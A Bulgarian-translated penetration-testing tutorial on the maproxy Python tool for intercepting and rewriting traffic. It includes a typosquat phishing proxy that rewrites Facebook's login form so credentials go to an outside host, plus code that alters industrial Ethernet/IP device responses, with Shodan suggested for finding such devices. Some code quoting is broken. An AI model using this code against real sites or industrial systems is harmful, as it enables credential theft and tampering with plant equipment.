ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

ΠŸΡ€Π΅Π²ΠΎΠ΄ΡŠΡ‚ Π½Π° статията Π΅ ΠΏΠΎΠ΄Π³ΠΎΡ‚Π²Π΅Π½ Π² ΠΎΡ‡Π°ΠΊΠ²Π°Π½Π΅ Π½Π° старта Π½Π° курса Β«ΠŸΠ΅Π½Ρ‚Π΅ΡΡ‚. ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° Π½Π° тСстиранС Π½Π° ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅Β».

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

РСзюмС

Π Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½ΠΈ Π²ΠΈΠ΄ΠΎΠ²Π΅ ΠΎΡ†Π΅Π½ΠΊΠ° Π½Π° сигурността, Π·Π°ΠΏΠΎΡ‡Π²Π°ΠΉΠΊΠΈ ΠΎΡ‚ Ρ€Π΅Π΄ΠΎΠ²Π½ΠΎ тСстванС Π·Π° ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅ ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π½Π° Red Team Π΄ΠΎ Ρ…Π°ΠΊΠ²Π°Π½Π΅ Π½Π° IoT/ICS устройства ΠΈ SCADA, Π²ΠΊΠ»ΡŽΡ‡Π²Π°Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π° с Π±ΠΈΠ½Π°Ρ€Π½ΠΈ ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ, Ρ‚.Π΅. ΠΏΠΎ ΡΡŠΡ‰Π΅ΡΡ‚Π²ΠΎ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‰Π°Π½Π΅ ΠΈ модификация Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΈ Ρ†Π΅Π»Ρ‚Π°. Π‘Π½ΠΈΡ„Ρ„ΠΈΠ½Π³ Π½Π° мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ Π½Π΅ Π΅ слоТна Π·Π°Π΄Π°Ρ‡Π°, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Ρ€Π°Π·ΠΏΠΎΠ»Π°Π³Π°ΠΌΠ΅ с инструмСнти ΠΊΠ°Ρ‚ΠΎ Wireshark, Tcpdump ΠΈΠ»ΠΈ Scapy, Π½ΠΎ модификацията прСдставлява ΠΏΠΎ-Ρ‚Ρ€ΡƒΠ΄ΠΎΠ΅ΠΌΠΊΠ° Π·Π°Π΄Π°Ρ‡Π°, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Ρ‰Π΅ Π½ΠΈ Π΅ Π½ΡƒΠΆΠ΅Π½ спСцифичСн интСрфСйс Π·Π° Ρ‡Π΅Ρ‚Π΅Π½Π΅ Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ, тяхната филтрация, промяна Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅ ΠΈ ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°Π½Π΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° цСлСвия хост ΠΏΠΎΡ‡Ρ‚ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅. ОсвСн Ρ‚ΠΎΠ²Π°, Π±ΠΈ Π±ΠΈΠ»ΠΎ ΠΈΠ΄Π΅Π°Π»Π½ΠΎ, Π°ΠΊΠΎ Ρ‚Π°ΠΊΡŠΠ² инструмСнт ΠΌΠΎΠΆΠ΅ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ с мноТСство ΠΏΠ°Ρ€Π°Π»Π΅Π»Π½ΠΈ Π²Ρ€ΡŠΠ·ΠΊΠΈ ΠΈ Π΄Π° ΠΈΠΌΠ° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΠΈ Π·Π° пСрсонализация Ρ‡Ρ€Π΅Π· скриптовС.

Π’Π΅Π΄Π½ΡŠΠΆ ΠΎΡ‚ΠΊΡ€ΠΈΡ… инструмСнт, ΠΊΠΎΠΉΡ‚ΠΎ сС Π½Π°Ρ€ΠΈΡ‡Π° мапрокси, докумСнтацията Π±ΡŠΡ€Π·ΠΎ ΠΌΠΈ ΠΏΠΎΠΊΠ°Π·Π°, Ρ‡Π΅ мапрокси – Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚ΠΎΠ²Π°, ΠΎΡ‚ ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΈΠΌΠ°ΠΌ Π½ΡƒΠΆΠ΄Π°. Π’ΠΎΠ²Π° Π΅ доста прост, унивСрсалСн ΠΈ лСсно ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌ TCP прокси. ВСствах Ρ‚ΠΎΠ·ΠΈ инструмСнт Π½Π° няколко доста слоТни прилоТСния, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ICS – устройства (ΠΊΠΎΠΈΡ‚ΠΎ Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ), Π·Π° Π΄Π° видя Π΄Π°Π»ΠΈ ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ с ΠΌΠ½ΠΎΠ³ΠΎΠ±Ρ€ΠΎΠΉΠ½ΠΈ ΠΏΠ°Ρ€Π°Π»Π΅Π»Π½ΠΈ Π²Ρ€ΡŠΠ·ΠΊΠΈ, ΠΈ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΡŠΡ‚ сС прСдстави Π΄ΠΎΠ±Ρ€Π΅.

Π’Π°Π·ΠΈ статия Ρ‰Π΅ Π²ΠΈ Π·Π°ΠΏΠΎΠ·Π½Π°Π΅ с ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°Ρ‚Π° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° мапрокси.

ΠŸΡ€Π΅Π³Π»Π΅Π΄

Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ мапрокси Π±Π°Π·ΠΈΡ€Π°Π½Π° Π½Π° Tornado – популярСн ΠΈ Ρ€Π°Π·Π²ΠΈΡ‚ асинхронСн ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΡƒΡŠΡ€ΠΊ Π½Π° Python.

ΠšΠ°Ρ‚ΠΎ цяло, Ρ‚ΠΎΠΉ ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ Π² няколко Ρ€Π΅ΠΆΠΈΠΌΠ°:

  • TCP:TCP – Π½Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈ TCP Π²Ρ€ΡŠΠ·ΠΊΠΈ;
  • TCP:SSL ΠΈ SSL:TCP – с Сднопосочна ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅;
  • SSL:SSL – двупосочно ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅.

Π’ΠΎΠΉ сС ΠΏΡ€Π΅Π΄Π»Π°Π³Π° ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°. Π—Π° Π±ΡŠΡ€Π· старт ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, ΠΊΠΎΠΈΡ‚ΠΎ отразяват основнитС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π°:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

КСйс 1 – прост двупосочСн прокси

Основавайки сС на tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

По ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ ProxyServer() ΠΏΡ€ΠΈΠ΅ΠΌΠ° Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° – мСстополоТСниС Π·Π° ΡΠ²ΡŠΡ€Π·Π²Π°Π½Π΅ ΠΈ цСлСвия ΠΏΠΎΡ€Ρ‚. server.listen() ΠΏΡ€ΠΈΠ΅ΠΌΠ° Π΅Π΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ – ΠΏΠΎΡ€Ρ‚ Π·Π° ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠ²Π°Π½Π΅ Π½Π° входящата Π²Ρ€ΡŠΠ·ΠΊΠ°.

ИзпълнСниС Π½Π° скрипта:

# python tcp2tcp.py

Π—Π° Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅ΠΌ тСста, ΠΏΠ»Π°Π½ΠΈΡ€Π°ΠΌΠ΅ Π΄Π° сС ΡΠ²ΡŠΡ€ΠΆΠ΅ΠΌ с Π»ΠΎΠΊΠ°Π»Π΅Π½ SSH ΡΡŠΡ€Π²ΡŠΡ€ Ρ‡Ρ€Π΅Π· нашия прокси скрипт, ΠΊΠΎΠΉΡ‚ΠΎ ΡΠ»ΡƒΡˆΠ° Π½Π° 2222/tcp ΠΏΠΎΡ€Ρ‚ ΠΈ сС ΡΠ²ΡŠΡ€Π·Π²Π° към стандартния ΠΏΠΎΡ€Ρ‚ 22/tcp SSH ΡΡŠΡ€Π²ΡŠΡ€ΠΈ:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

ΠŸΡ€ΠΈΠ²Π΅Ρ‚ΡΡ‚Π²Π΅Π½ΠΈΡΡ‚ Π±Π°Π½Π΅Ρ€ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€Π°, Ρ‡Π΅ Π½Π°ΡˆΠΈΡΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° скрипт ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π΅ проксирал мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ.

Π‘Π»ΡƒΡ‡Π°ΠΉ 2 – модификация Π½Π° Π΄Π°Π½Π½ΠΈ

Π”Ρ€ΡƒΠ³ Π΄Π΅ΠΌΠΎ скрипт logging_proxy.py ΠΏΠ΅Ρ€Ρ„Π΅ΠΊΡ‚Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠΆΠ΄Π° Π·Π° взаимодСйствиС с ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ. ΠšΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΡ‚Π΅ Π² Ρ„Π°ΠΉΠ»Π° описват ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΡ‚Π΅ Π½Π° класа, ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Ρ‚Π΅, Π·Π° Π΄Π° постигнСтС Ρ†Π΅Π»Ρ‚Π° си:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

Най-интСрСсното Ρ‚ΡƒΠΊ Π΅:

  • on_c2p_done_read – Π·Π° ΠΏΡ€ΠΈΡ…Π²Π°Ρ‰Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ ΠΏΠΎ ΠΏΡŠΡ‚Ρ ΠΎΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° към ΡΡŠΡ€Π²ΡŠΡ€Π°;
  • on_p2s_done_read – Π² ΠΎΠ±Ρ€Π°Ρ‚Π½Π°Ρ‚Π° посока.

НСка ΠΎΠΏΠΈΡ‚Π°ΠΌΠ΅ Π΄Π° ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈΠΌ SSH Π±Π°Π½Π΅Ρ€Π°, ΠΊΠΎΠΉΡ‚ΠΎ ΡΡŠΡ€Π²ΡŠΡ€ΡŠΡ‚ Π²Ρ€ΡŠΡ‰Π° Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Π˜Π·ΠΏΡŠΠ»Π½Π΅Ρ‚Π΅ скрипта:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

ΠšΠ°ΠΊΡ‚ΠΎ Π²ΠΈΠΆΠ΄Π°Ρ‚Π΅, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΡŠΡ‚ Π΅ Π±ΠΈΠ» Π·Π°Π±Π»ΡƒΠ΄Π΅Π½, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° SSH ΡΡŠΡ€Π²ΡŠΡ€Π° Π΅ Π±ΠΈΠ»ΠΎ Π·Π°ΠΌΠ΅Π½Π΅Π½ΠΎ с Β«DumnySSHΒ».

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

Π‘Π»ΡƒΡ‡Π°ΠΉ 3 – проста Ρ„ΠΈΡˆΠΈΠ½Π³ ΡƒΠ΅Π± страница

Π‘ΡŠΡ‰Π΅ΡΡ‚Π²ΡƒΠ²Π° Π±Π΅Π·ΠΊΡ€Π°Π΅Π½ Π±Ρ€ΠΎΠΉ прилоТСния Π½Π° Ρ‚ΠΎΠ·ΠΈ инструмСнт. Π’ΠΎΠ·ΠΈ ΠΏΡŠΡ‚ Π΄Π° сС фокусирамС Π²ΡŠΡ€Ρ…Ρƒ Π½Π΅Ρ‰ΠΎ ΠΏΠΎ-ΠΏΡ€Π°ΠΊΡ‚ΠΈΡ‡Π½ΠΎ ΠΎΡ‚ областта Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Red Team. НСка ΠΈΠΌΠΈΡ‚ΠΈΡ€Π°ΠΌΠ΅ Π»Π΅Π½Π΄ΠΈΠ½Π³ страница m.facebook.com ΠΈ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ пСрсонализиран Π΄ΠΎΠΌΠ΅ΠΉΠ½ с ΡƒΠΌΠΈΡˆΠ»Π΅Π½Π° правописна Π³Ρ€Π΅ΡˆΠΊΠ°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, m.facebok.com. Π—Π° Ρ†Π΅Π»ΠΈΡ‚Π΅ Π½Π° дСмонстрацията просто Π΄Π° ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Π΅ Π΄ΠΎΠΌΠ΅ΠΉΠ½ΡŠΡ‚ Π΅ рСгистриран ΠΎΡ‚ нас.

Π©Π΅ установим Π½Π΅ΡˆΠΈΡ„Ρ€ΠΈΡ€Π°Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²Π° Π²Ρ€ΡŠΠ·ΠΊΠ° с нашия прокси Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²ΠΈΡ‚Π΅ ΠΈ SSL Stream Π·Π° ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π° Facebook (31.13.81.36). Π—Π° Π΄Π° Π·Π°Ρ€Π°Π±ΠΎΡ‚ΠΈ Ρ‚ΠΎΠ·ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½ΠΈ трябва Π΄Π° Π·Π°ΠΌΠ΅Π½ΠΈΠΌ Π·Π°Π³Π»Π°Π²ΠΊΠ°Ρ‚Π° Π½Π° HTTP хоста ΠΈ Π΄Π° Π²Π½Π΅Π΄Ρ€ΠΈΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎΡ‚ΠΎ ΠΈΠΌΠ΅ Π½Π° хоста, Π° ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° Π΄Π° ΠΈΠ·ΠΊΠ»ΡŽΡ‡ΠΈΠΌ компрСсията Π½Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚Π΅, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ лСсСн Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ ΠΈΠΌ. Π’ ΠΊΡ€Π°ΠΉΠ½Π° смСтка Ρ‰Π΅ Π·Π°ΠΌΠ΅Π½ΠΈΠΌ HTML формуляра, Π·Π° Π΄Π° сС ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°Ρ‚ Π΄Π°Π½Π½ΠΈΡ‚Π΅ Π·Π° Π²Ρ…ΠΎΠ΄ към нас, вмСсто към ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Facebook:

[…]
def on_c2p_done_read(self,data):
 # замяна Π½Π° Π·Π°Π³Π»Π°Π²ΠΊΠ°Ρ‚Π° Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Π½Π΅ Π½Π° компрСсията
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # частична замяна Π½Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π°
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Π’ ΠΊΡ€Π°ΠΉΠ½Π° смСтка:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

ΠšΠ°ΠΊΡ‚ΠΎ Π²ΠΈΠΆΠ΄Π°Ρ‚Π΅, успяхмС Π΄Π° Π·Π°ΠΌΠ΅Π½ΠΈΠΌ оригиналния сайт.

Π‘Π»ΡƒΡ‡Π°ΠΉ 4 – ΠŸΡ€ΠΎΠΌΡΠ½Π° Π½Π° Ethernet/IP

Π”ΡŠΠ»Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅ съм Ρ€Π°Π±ΠΎΡ‚ΠΈΠ» с индустриални устройства ΠΈ софтуСр (ICS / SCADA), ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈΡ€ΡƒΠ΅ΠΌΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€ΠΈ (PLC), ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Π·Π° Π²Ρ…ΠΎΠ΄-ΠΈΠ·Ρ…ΠΎΠ΄, задвиТвания, Ρ€Π΅Π»Π΅Ρ‚Π°, ΡΡ‚ΡŠΠ»Π±ΠΎΠ²ΠΈ срСди Π·Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈΡ€Π°Π½Π΅ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈ. Π’ΠΎΠ·ΠΈ случай Π΅ Π·Π° Ρ‚Π΅Π·ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΎΠ±ΠΈΡ‡Π°Ρ‚ индустриалнитС Π½Π΅Ρ‰Π°. Π₯Π°ΠΊΠ²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Ρ‚Π°ΠΊΠΈΠ²Π° Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π° Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ взаимодСйствиС с ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ. Π’ слСдващия ΠΏΡ€ΠΈΠΌΠ΅Ρ€ искам Π΄Π° ΠΏΠΎΠΊΠ°ΠΆΠ° ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Ρ‚Π΅ мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ Π½Π° ICS/SCADA.

Π—Π° Ρ†Π΅Π»Ρ‚Π° Ρ‰Π΅ Π²ΠΈ трябва слСдното:

  • ΠœΡ€Π΅ΠΆΠΎΠ² сниффСр, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Wireshark;
  • Ethernet/IP ΠΈΠ»ΠΈ просто SIP устройство, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π³ΠΎ Π½Π°ΠΌΠ΅Ρ€ΠΈΡ‚Π΅ с услугата Shodan;
  • ΠΠ°ΡˆΠΈΡΡ‚ скрипт Π΅ Π±Π°Π·ΠΈΡ€Π°Π½ Π½Π° мапрокси.

ΠŸΡŠΡ€Π²ΠΎ Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ ΠΊΠ°ΠΊ ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° типичният ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π΅Π½ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ ΠΎΡ‚ CIP (Common Industrial Protocol):

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡΡ‚Π° Π½Π° устройството сС ΠΎΡΡŠΡ‰Π΅ΡΡ‚Π²ΡΠ²Π° Ρ‡Ρ€Π΅Π· ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Ethernet/IP, ΠΊΠΎΠΉΡ‚ΠΎ Π΅ Ρ€Π°Π·ΡˆΠΈΡ€Π΅Π½Π° вСрсия Π½Π° Ethernet ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Π·Π° индустриални Ρ†Π΅Π»ΠΈ, ΡƒΠ²ΠΈΠ²Π°Ρ‰ управлСнски ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ, ΠΊΠ°Ρ‚ΠΎ CIP. Π©Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈΠΌ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΎΡ‚ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎ ΠΈΠΌΠ΅, Π²ΠΈΠ΄ΠΈΠΌΠΎ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π° Β«NI-IndComm for EthernetΒ» Ρ‡Ρ€Π΅Π· нашия прокси скрипт. МоТСм Π΄Π° ΠΏΡ€Π΅ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ скрипта logging_proxy.py ΠΈ ΠΏΠΎ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π΅Π½ Π½Π°Ρ‡ΠΈΠ½ Π΄Π° ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°ΠΌΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π½Π° класа on_p2s_done_read, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ искамС Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π΄Π° сС Π²ΠΈΠΆΠ΄Π° Π΄Ρ€ΡƒΠ³ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎ ΠΈΠΌΠ΅.

Код:

[…]
 def on_p2s_done_read(self,data):
 # частично замСстванС Π½Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π°

 # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π΄Π°Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ…ΠΌΠ΅ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ ΠΎΡ‚ List Identity message
     if data[26:28] == b'x0cx00':
         print('ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€, замСстванС')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
 […]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

По ΡΡŠΡ‰Π΅ΡΡ‚Π²ΠΎ, поискахмС идСнтификация Π½Π° устройството Π΄Π²Π° ΠΏΡŠΡ‚ΠΈ, вторият ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π΅ оригиналният, Π° ΠΏΡŠΡ€Π²ΠΈΡΡ‚ Π΅ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½ Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°.

И накрая

